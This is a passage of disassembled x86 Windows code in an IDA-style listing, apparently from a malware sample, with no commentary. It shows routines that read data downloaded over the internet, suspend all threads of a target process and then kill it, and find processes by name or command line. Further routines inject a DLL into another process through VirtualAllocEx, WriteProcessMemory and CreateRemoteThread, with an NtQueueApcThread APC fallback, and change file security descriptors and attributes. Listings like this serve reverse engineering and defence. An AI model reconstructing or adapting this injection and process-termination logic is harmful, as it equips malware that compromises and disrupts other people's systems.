		lea	eax, [ebp+3B4h+var_410]
		push	eax		; lpBuffer
		push	esi		; hFile
		push	[ebp+3B4h+hMem]
		mov	esi, InternetReadFile
		mov	[ebp+3B4h+var_410], edi
		push	ebx
		jmp	short loc_9A626E
; ---------------------------------------------------------------------------


loc_9A61FF:				; CODE XREF: sub_9A60D7+19Bj
		cmp	[ebp+3B4h+var_410], 0
		jz	short loc_9A6274
		add	edi, [ebp+3B4h+var_410]
		call	GetTickCount
		sub	eax, [ebp+3B4h+var_428]
		cmp	eax, 493E0h
		ja	short loc_9A6274
		mov	eax, [ebp+3B4h+Size]
		cmp	edi, eax
		jnz	short loc_9A625B
		cmp	edi, 7D000h
		jnb	short loc_9A6274
		lea	ebx, [eax+eax]
		push	ebx		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		mov	[ebp+3B4h+var_430], eax
		jz	short loc_9A6274
		push	[ebp+3B4h+Size]	; Size
		push	[ebp+3B4h+hMem]	; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		push	[ebp+3B4h+hMem]	; hMem
		call	GlobalFree
		mov	eax, [ebp+3B4h+var_430]
		mov	[ebp+3B4h+hMem], eax
		mov	[ebp+3B4h+Size], ebx


loc_9A625B:				; CODE XREF: sub_9A60D7+146j
		lea	eax, [ebp+3B4h+var_410]
		push	eax
		mov	eax, [ebp+3B4h+Size]
		sub	eax, edi
		push	eax
		mov	eax, [ebp+3B4h+hMem]
		add	eax, edi
		push	eax
		push	[ebp+3B4h+var_420]


loc_9A626E:				; CODE XREF: sub_9A60D7+126j
		call	esi ; InternetReadFile
		test	eax, eax
		jnz	short loc_9A61FF


loc_9A6274:				; CODE XREF: sub_9A60D7+12Cj
					; sub_9A60D7+13Fj ...
		mov	eax, [ebp+3B4h+var_41C]
		mov	[eax], edi


loc_9A6279:				; CODE XREF: sub_9A60D7+101j
					; sub_9A60D7+10Ej
		push	[ebp+3B4h+var_420] ; hInternet
		call	InternetCloseHandle


loc_9A6282:				; CODE XREF: sub_9A60D7+D0j
		push	[ebp+3B4h+hInternet] ; hInternet
		call	InternetCloseHandle


loc_9A628B:				; CODE XREF: sub_9A60D7+A8j
		pop	edi


loc_9A628C:				; CODE XREF: sub_9A60D7+45j
					; sub_9A60D7+59j
		mov	eax, [ebp+3B4h+var_41C]
		xor	esi, esi
		cmp	[eax], esi
		jnz	short loc_9A62A6
		cmp	[ebp+3B4h+hMem], esi
		jz	short loc_9A62A6
		push	[ebp+3B4h+hMem]	; hMem
		call	GlobalFree
		mov	[ebp+3B4h+hMem], esi


loc_9A62A6:				; CODE XREF: sub_9A60D7+1BCj
					; sub_9A60D7+1C1j
		mov	ecx, [ebp+3B4h+var_4]
		mov	eax, [ebp+3B4h+hMem]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 3B4h
		leave
		retn
sub_9A60D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A62C0(DWORD dwProcessId)

sub_9A62C0	proc near		; CODE XREF: sub_9A4074+A0p

te		= THREADENTRY32	ptr -44h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
hObject		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
dwProcessId	= dword	ptr  8

		push	34h
		push	offset stru_9A2A58
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	ebx		; th32ProcessID
		push	4		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	[ebp+hObject], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9A634A
		mov	[ebp+te.dwSize], ebx
		push	6
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		mov	[ebp+te.dwSize], 1Ch
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32First
		jmp	short loc_9A633D
; ---------------------------------------------------------------------------


loc_9A6306:				; CODE XREF: sub_9A62C0+7Fj
		mov	eax, [ebp+dwProcessId]
		cmp	eax, [ebp+te.th32OwnerProcessID]
		jnz	short loc_9A6331
		push	[ebp+te.th32ThreadID] ;	dwThreadId
		push	ebx		; bInheritHandle
		push	2		; dwDesiredAccess
		call	OpenThread
		mov	esi, eax
		mov	[ebp+var_24], esi
		cmp	esi, ebx
		jz	short loc_9A6331
		push	esi		; hThread
		call	SuspendThread
		push	esi		; hObject
		call	CloseHandle


loc_9A6331:				; CODE XREF: sub_9A62C0+4Cj
					; sub_9A62C0+61j
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32Next


loc_9A633D:				; CODE XREF: sub_9A62C0+44j
		test	eax, eax
		jnz	short loc_9A6306
		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9A634A:				; CODE XREF: sub_9A62C0+22j
		push	[ebp+dwProcessId] ; dwProcessId
		push	ebx		; bInheritHandle
		xor	edi, edi
		inc	edi
		push	edi		; dwDesiredAccess
		call	OpenProcess
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	short loc_9A6380
		push	ebx		; uExitCode
		push	esi		; hProcess
		call	TerminateProcess
		test	eax, eax
		jz	short loc_9A6370
		mov	[ebp+var_20], edi


loc_9A6370:				; CODE XREF: sub_9A62C0+ABj
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A6380
; ---------------------------------------------------------------------------


loc_9A6379:				; DATA XREF: .text:stru_9A2A58o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A637D:				; DATA XREF: .text:stru_9A2A58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A6380:				; CODE XREF: sub_9A62C0+9Fj
					; sub_9A62C0+B7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_9A62C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0B0h

; int __cdecl sub_9A638D(char *Str2)

sub_9A638D	proc near		; CODE XREF: sub_9A36CC+2Ap
					; sub_9A5C35+8p

var_130		= dword	ptr -130h
Str1		= PROCESSENTRY32 ptr -12Ch
var_4		= dword	ptr -4
Str2		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-0B0h]
		sub	esp, 130h
		mov	eax, dword_9B8788
		and	[ebp+0B0h+var_130], 0
		push	ebx
		push	esi
		mov	esi, [ebp+0B0h+Str2]
		push	0		; th32ProcessID
		xor	eax, ebp
		push	2		; dwFlags
		mov	[ebp+0B0h+var_4], eax
		call	CreateToolhelp32Snapshot
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_9A6411
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+0B0h+Str1.dwSize],	128h
		lea	edi, [ebp+0B0h+Str1.cntUsage]
		rep stosd
		lea	eax, [ebp+0B0h+Str1]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32First
		pop	edi
		jmp	short loc_9A63FE
; ---------------------------------------------------------------------------


loc_9A63E3:				; CODE XREF: sub_9A638D+73j
		lea	eax, [ebp+0B0h+Str1.szExeFile]
		push	esi		; Str2
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A6404
		lea	eax, [ebp+0B0h+Str1]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32Next


loc_9A63FE:				; CODE XREF: sub_9A638D+54j
		test	eax, eax
		jnz	short loc_9A63E3
		jmp	short loc_9A640A
; ---------------------------------------------------------------------------


loc_9A6404:				; CODE XREF: sub_9A638D+65j
		mov	eax, [ebp+0B0h+Str1.th32ProcessID]
		mov	[ebp+0B0h+var_130], eax


loc_9A640A:				; CODE XREF: sub_9A638D+75j
		push	ebx		; hObject
		call	CloseHandle


loc_9A6411:				; CODE XREF: sub_9A638D+35j
		mov	ecx, [ebp+0B0h+var_4]
		mov	eax, [ebp+0B0h+var_130]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0B0h
		leave
		retn
sub_9A638D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A642B(DWORD dwProcessId,char	*lpBuffer)

sub_9A642B	proc near		; CODE XREF: sub_9A36CC+1Ap
					; sub_9A36CC+36p ...

te		= THREADENTRY32	ptr -3Ch
ThreadId	= dword	ptr -20h
NumberOfBytesWritten= dword ptr	-1Ch
var_18		= dword	ptr -18h
hProcess	= dword	ptr -14h
hObject		= dword	ptr -10h
lpStartAddress	= dword	ptr -0Ch
lpParameter	= dword	ptr -8
var_4		= dword	ptr -4
dwProcessId	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	edi
		xor	edi, edi
		cmp	[ebp+dwProcessId], 4
		mov	[ebp+var_4], edi
		jbe	short loc_9A6445
		mov	eax, [ebp+lpBuffer]
		cmp	byte ptr [eax],	0
		jnz	short loc_9A644C


loc_9A6445:				; CODE XREF: sub_9A642B+10j
		xor	eax, eax
		jmp	loc_9A65D6
; ---------------------------------------------------------------------------


loc_9A644C:				; CODE XREF: sub_9A642B+18j
		push	esi
		push	eax		; Str
		call	strlen
		pop	ecx
		push	[ebp+dwProcessId] ; dwProcessId
		mov	esi, eax
		push	edi		; bInheritHandle
		push	2Ah		; dwDesiredAccess
		inc	esi
		call	OpenProcess
		cmp	eax, edi
		mov	[ebp+hProcess],	eax
		jz	loc_9A65D2
		push	40h		; flProtect
		push	3000h		; flAllocationType
		lea	ecx, [esi+20h]
		push	ecx		; dwSize
		push	edi		; lpAddress
		push	eax		; hProcess
		call	VirtualAllocEx
		cmp	eax, edi
		mov	[ebp+lpParameter], eax
		jz	loc_9A65B8
		mov	edi, GetModuleHandleA
		push	ebx
		push	offset ProcName	; "LoadLibraryA"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		mov	ebx, GetProcAddress
		push	eax		; hModule
		call	ebx ; GetProcAddress
		mov	[ebp+lpStartAddress], eax
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		inc	esi
		push	esi		; nSize
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+lpParameter] ; lpBaseAddress
		push	[ebp+hProcess]	; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	loc_9A65B7
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		xor	esi, esi
		push	esi		; dwCreationFlags
		push	[ebp+lpParameter] ; lpParameter
		push	[ebp+lpStartAddress] ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		push	[ebp+hProcess]	; hProcess
		call	CreateRemoteThread
		cmp	eax, esi
		jz	short loc_9A64F1
		mov	[ebp+var_4], 1
		push	eax
		jmp	loc_9A65B1
; ---------------------------------------------------------------------------


loc_9A64F1:				; CODE XREF: sub_9A642B+B7j
		push	offset aNtqueueapcthre ; "NtQueueApcThread"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		mov	[ebp+var_18], eax
		call	GetVersion
		cmp	[ebp+var_18], esi
		jz	loc_9A65B7
		cmp	al, 5
		jz	short loc_9A6520
		cmp	ax, 6
		jnz	loc_9A65B7


loc_9A6520:				; CODE XREF: sub_9A642B+E9j
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		push	0		; th32ProcessID
		push	4		; dwFlags
		mov	[ebp+lpStartAddress], eax
		call	CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	short loc_9A65B7
		push	6
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		mov	[ebp+te.dwSize], 1Ch
		call	Thread32First
		jmp	short loc_9A65AA
; ---------------------------------------------------------------------------


loc_9A6562:				; CODE XREF: sub_9A642B+181j
		mov	eax, [ebp+dwProcessId]
		cmp	eax, [ebp+te.th32OwnerProcessID]
		jnz	short loc_9A659E
		push	[ebp+te.th32ThreadID] ;	dwThreadId
		xor	esi, esi
		push	esi		; bInheritHandle
		push	10h		; dwDesiredAccess
		call	OpenThread
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A659E
		push	esi
		push	esi
		push	[ebp+lpParameter]
		push	[ebp+lpStartAddress]
		push	edi
		call	[ebp+var_18]
		push	edi		; hObject
		mov	ebx, eax
		call	CloseHandle
		cmp	ebx, esi
		jl	short loc_9A659E
		mov	[ebp+var_4], 1


loc_9A659E:				; CODE XREF: sub_9A642B+13Dj
					; sub_9A642B+151j ...
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32Next


loc_9A65AA:				; CODE XREF: sub_9A642B+135j
		test	eax, eax
		jnz	short loc_9A6562
		push	[ebp+hObject]	; hObject


loc_9A65B1:				; CODE XREF: sub_9A642B+C1j
		call	CloseHandle


loc_9A65B7:				; CODE XREF: sub_9A642B+97j
					; sub_9A642B+E1j ...
		pop	ebx


loc_9A65B8:				; CODE XREF: sub_9A642B+5Bj
		push	[ebp+hProcess]	; hObject
		call	CloseHandle
		cmp	[ebp+var_4], 0
		jz	short loc_9A65D2
		push	1388h		; dwMilliseconds
		call	Sleep


loc_9A65D2:				; CODE XREF: sub_9A642B+3Dj
					; sub_9A642B+19Aj
		mov	eax, [ebp+var_4]
		pop	esi


loc_9A65D6:				; CODE XREF: sub_9A642B+1Cj
		pop	edi
		leave
		retn
sub_9A642B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_9A65D9	proc near		; CODE XREF: sub_9A6678+60p

Dst		= word ptr -94h
var_90		= dword	ptr -90h
lpBuffer	= dword	ptr -8Ch
NumberOfBytesRead= dword ptr -88h
Buffer		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= byte ptr -44h
var_4		= dword	ptr -4
lpBaseAddress	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 94h
		mov	eax, dword_9B8788
		push	esi
		mov	esi, ReadProcessMemory
		push	edi
		mov	[ebp+70h+lpBuffer], ecx
		lea	ecx, [ebp+70h+NumberOfBytesRead]
		push	ecx		; lpNumberOfBytesRead
		xor	eax, ebp
		mov	edi, 80h
		push	edi		; nSize
		lea	ecx, [ebp+70h+Buffer]
		mov	[ebp+70h+var_4], eax
		mov	eax, [ebp+70h+lpBaseAddress]
		push	ecx		; lpBuffer
		push	eax		; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jnz	short loc_9A6616


loc_9A6612:				; CODE XREF: sub_9A65D9+4Ej
					; sub_9A65D9+6Ej
		xor	eax, eax
		jmp	short loc_9A6667
; ---------------------------------------------------------------------------


loc_9A6616:				; CODE XREF: sub_9A65D9+37j
		lea	eax, [ebp+70h+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nSize
		lea	eax, [ebp+70h+Buffer]
		push	eax		; lpBuffer
		push	[ebp+70h+var_74] ; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jz	short loc_9A6612
		push	8		; Size
		lea	eax, [ebp+70h+Src]
		push	eax		; Src
		lea	eax, [ebp+70h+Dst]
		push	eax		; Dst
		call	memcpy
		movzx	eax, [ebp+70h+Dst]
		mov	ecx, [ebp+70h+arg_4]
		add	esp, 0Ch
		shr	eax, 1
		dec	ecx
		cmp	ecx, eax
		jb	short loc_9A6612
		mov	ecx, [ebp+70h+lpBuffer]
		and	word ptr [ecx+eax*2], 0
		lea	eax, [ebp+70h+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		movzx	eax, [ebp+70h+Dst]
		push	eax		; nSize
		push	ecx		; lpBuffer
		push	[ebp+70h+var_90] ; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		neg	eax
		sbb	eax, eax
		neg	eax


loc_9A6667:				; CODE XREF: sub_9A65D9+3Bj
		mov	ecx, [ebp+70h+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		add	ebp, 70h
		leave
		retn
sub_9A65D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6678(DWORD dwProcessId,int,int)

sub_9A6678	proc near		; CODE XREF: sub_9A66EF+81p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_4		= byte ptr -4
dwProcessId	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetProcAddress
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_9A66A3
		xor	eax, eax
		jmp	short loc_9A66EB
; ---------------------------------------------------------------------------


loc_9A66A3:				; CODE XREF: sub_9A6678+25j
		push	ebx
		push	[ebp+dwProcessId] ; dwProcessId
		push	esi		; bInheritHandle
		push	410h		; dwDesiredAccess
		call	OpenProcess
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_9A66BD
		xor	eax, eax
		jmp	short loc_9A66EA
; ---------------------------------------------------------------------------


loc_9A66BD:				; CODE XREF: sub_9A6678+3Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	18h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	ebx
		call	edi
		test	eax, eax
		jl	short loc_9A66E1
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		push	[ebp+var_18]
		call	sub_9A65D9
		pop	ecx
		pop	ecx
		mov	esi, eax


loc_9A66E1:				; CODE XREF: sub_9A6678+55j
		push	ebx		; hObject
		call	CloseHandle
		mov	eax, esi


loc_9A66EA:				; CODE XREF: sub_9A6678+43j
		pop	ebx


loc_9A66EB:				; CODE XREF: sub_9A6678+29j
		pop	edi
		pop	esi
		leave
		retn
sub_9A6678	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2B8h

; int __cdecl sub_9A66EF(LPCWSTR lpSrch)

sub_9A66EF	proc near		; CODE XREF: sub_9A36CC+9p
					; sub_9A5C01+8p

var_338		= dword	ptr -338h
dwProcessId	= PROCESSENTRY32 ptr -334h
First		= word ptr -20Ch
var_20A		= byte ptr -20Ah
var_4		= dword	ptr -4
lpSrch		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-2B8h]
		sub	esp, 338h
		mov	eax, dword_9B8788
		and	[ebp+2B8h+var_338], 0
		push	ebx
		push	esi
		mov	esi, [ebp+2B8h+lpSrch]
		push	0		; th32ProcessID
		xor	eax, ebp
		push	2		; dwFlags
		mov	[ebp+2B8h+var_4], eax
		call	CreateToolhelp32Snapshot
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9A67AC
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+2B8h+dwProcessId.dwSize], 128h
		lea	edi, [ebp+2B8h+dwProcessId.cntUsage]
		rep stosd
		lea	eax, [ebp+2B8h+dwProcessId]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32First
		jmp	short loc_9A6798
; ---------------------------------------------------------------------------


loc_9A6748:				; CODE XREF: sub_9A66EF+ABj
		and	[ebp+2B8h+First], 0
		xor	eax, eax
		mov	ecx, 81h
		lea	edi, [ebp+2B8h+var_20A]
		rep stosd
		stosw
		push	104h		; int
		lea	eax, [ebp+2B8h+First]
		push	eax		; int
		push	[ebp+2B8h+dwProcessId.th32ProcessID] ; dwProcessId
		call	sub_9A6678
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A678E
		push	esi		; lpSrch
		lea	eax, [ebp+2B8h+First]
		push	eax		; lpFirst
		call	StrStrIW
		test	eax, eax
		jnz	short loc_9A679E


loc_9A678E:				; CODE XREF: sub_9A66EF+8Bj
		lea	eax, [ebp+2B8h+dwProcessId]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32Next


loc_9A6798:				; CODE XREF: sub_9A66EF+57j
		test	eax, eax
		jnz	short loc_9A6748
		jmp	short loc_9A67A4
; ---------------------------------------------------------------------------


loc_9A679E:				; CODE XREF: sub_9A66EF+9Dj
		mov	eax, [ebp+2B8h+dwProcessId.th32ProcessID]
		mov	[ebp+2B8h+var_338], eax


loc_9A67A4:				; CODE XREF: sub_9A66EF+ADj
		push	ebx		; hObject
		call	CloseHandle
		pop	edi


loc_9A67AC:				; CODE XREF: sub_9A66EF+35j
		mov	ecx, [ebp+2B8h+var_4]
		mov	eax, [ebp+2B8h+var_338]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 2B8h
		leave
		retn
sub_9A66EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A67C6	proc near		; CODE XREF: sub_9A3C63+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, GetModuleHandleA
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		mov	ebx, offset aNtdll_dll ; "ntdll.dll"
		push	ebx		; lpModuleName
		call	esi ; GetModuleHandleA
		mov	edi, GetProcAddress
		push	eax		; hModule
		call	edi ; GetProcAddress
		push	offset aNtsetinformati ; "NtSetInformationProcess"
		push	ebx		; lpModuleName
		mov	[ebp+var_8], eax
		call	esi ; GetModuleHandleA
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	esi, eax
		xor	eax, eax
		cmp	[ebp+var_8], eax
		jz	short loc_9A682A
		cmp	esi, eax
		jz	short loc_9A682A
		push	eax
		push	4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	[ebp+var_8]
		test	eax, eax
		jl	short loc_9A682A
		or	[ebp+var_4], 70h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	esi


loc_9A682A:				; CODE XREF: sub_9A67C6+39j
					; sub_9A67C6+3Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A67C6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A682F(LPCSTR	Str,int)

sub_9A682F	proc near		; CODE XREF: sub_9A68CA+3Cp
					; sub_9A68CA+10Ep

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+Str]
		push	esi		; lpFileName
		call	GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	loc_9A68C8
		cmp	[esp+4+arg_4], 0
		jz	short loc_9A6863
		test	al, 7
		jz	short loc_9A68C8
		and	eax, 20h
		jnz	short loc_9A6859
		mov	eax, 80h


loc_9A6859:				; CODE XREF: sub_9A682F+23j
		push	eax		; dwFileAttributes
		push	esi		; lpFileName
		call	SetFileAttributesA
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A6863:				; CODE XREF: sub_9A682F+1Aj
		test	al, 1
		jnz	short loc_9A68C8
		push	ebx
		call	GetTickCount
		push	esi		; Str
		mov	ebx, eax
		call	strlen
		cmp	eax, 4
		pop	ecx
		jbe	short loc_9A68A9
		push	offset asc_9A1318 ; "H"
		push	esi		; Str
		call	strlen
		pop	ecx
		lea	eax, [eax+esi-4]
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A68A9
		movzx	eax, bl
		push	4
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_9A68A9
		inc	edx
		jmp	short loc_9A68BF
; ---------------------------------------------------------------------------


loc_9A68A9:				; CODE XREF: sub_9A682F+4Bj
					; sub_9A682F+68j ...
		shr	ebx, 8
		movzx	eax, bl
		push	4
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		and	edx, 2
		add	edx, 5


loc_9A68BF:				; CODE XREF: sub_9A682F+78j
		push	edx		; dwFileAttributes
		push	esi		; lpFileName
		call	SetFileAttributesA
		pop	ebx


loc_9A68C8:				; CODE XREF: sub_9A682F+Fj
					; sub_9A682F+1Ej ...
		pop	esi
		retn
sub_9A682F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A68CA(LPCSTR	Str,int,int)

sub_9A68CA	proc near		; CODE XREF: sub_9A3715+81p
					; sub_9A3715+A2p ...

pSecurityDescriptor= byte ptr -54h
nAclLength	= dword	ptr -40h
lpFileName	= dword	ptr -3Ch
var_38		= dword	ptr -38h
hMem		= dword	ptr -34h
pSid		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	44h
		push	offset stru_9A2AB0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+Str]
		mov	[ebp+lpFileName], eax
		xor	ebx, ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+hMem], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	esi, 120116h
		and	ecx, esi
		cmp	ecx, esi
		jz	short loc_9A690D
		push	ebx		; int
		push	eax		; Str
		call	sub_9A682F
		pop	ecx
		pop	ecx


loc_9A690D:				; CODE XREF: sub_9A68CA+38j
		mov	[ebp+var_2C], bl
		mov	[ebp+var_2B], bl
		mov	[ebp+var_2A], bl
		mov	[ebp+var_29], bl
		mov	[ebp+var_28], bl
		mov	[ebp+var_27], 1
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		lea	ecx, [ebp+pIdentifierAuthority]
		jnz	short loc_9A694C
		lea	ecx, [ebp+var_2C]


loc_9A694C:				; CODE XREF: sub_9A68CA+7Dj
		lea	edx, [ebp+pSid]
		push	edx		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		neg	eax
		sbb	eax, eax
		and	eax, 12h
		push	eax		; nSubAuthority0
		push	1		; nSubAuthorityCount
		push	ecx		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		add	eax, 10h
		mov	[ebp+nAclLength], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9A69DF
		or	edi, 100000h
		mov	[ebp+arg_4], edi
		push	2		; dwAclRevision
		push	[ebp+nAclLength] ; nAclLength
		push	eax		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	edi		; AccessMask
		push	2		; dwAceRevision
		push	[ebp+hMem]	; pAcl
		call	AddAccessAllowedAce
		push	ebx		; bDaclDefaulted
		push	[ebp+hMem]	; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+lpFileName] ; lpFileName
		call	SetFileSecurityA
		mov	[ebp+var_38], eax
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_9A69DF
		push	1		; int
		push	[ebp+lpFileName] ; Str
		call	sub_9A682F
		pop	ecx
		pop	ecx


loc_9A69DF:				; CODE XREF: sub_9A68CA+BBj
					; sub_9A68CA+107j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A69F2
; ---------------------------------------------------------------------------


loc_9A69E5:				; DATA XREF: .text:stru_9A2AB0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A69E9:				; DATA XREF: .text:stru_9A2AB0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx


loc_9A69F2:				; CODE XREF: sub_9A68CA+119j
		cmp	[ebp+hMem], ebx
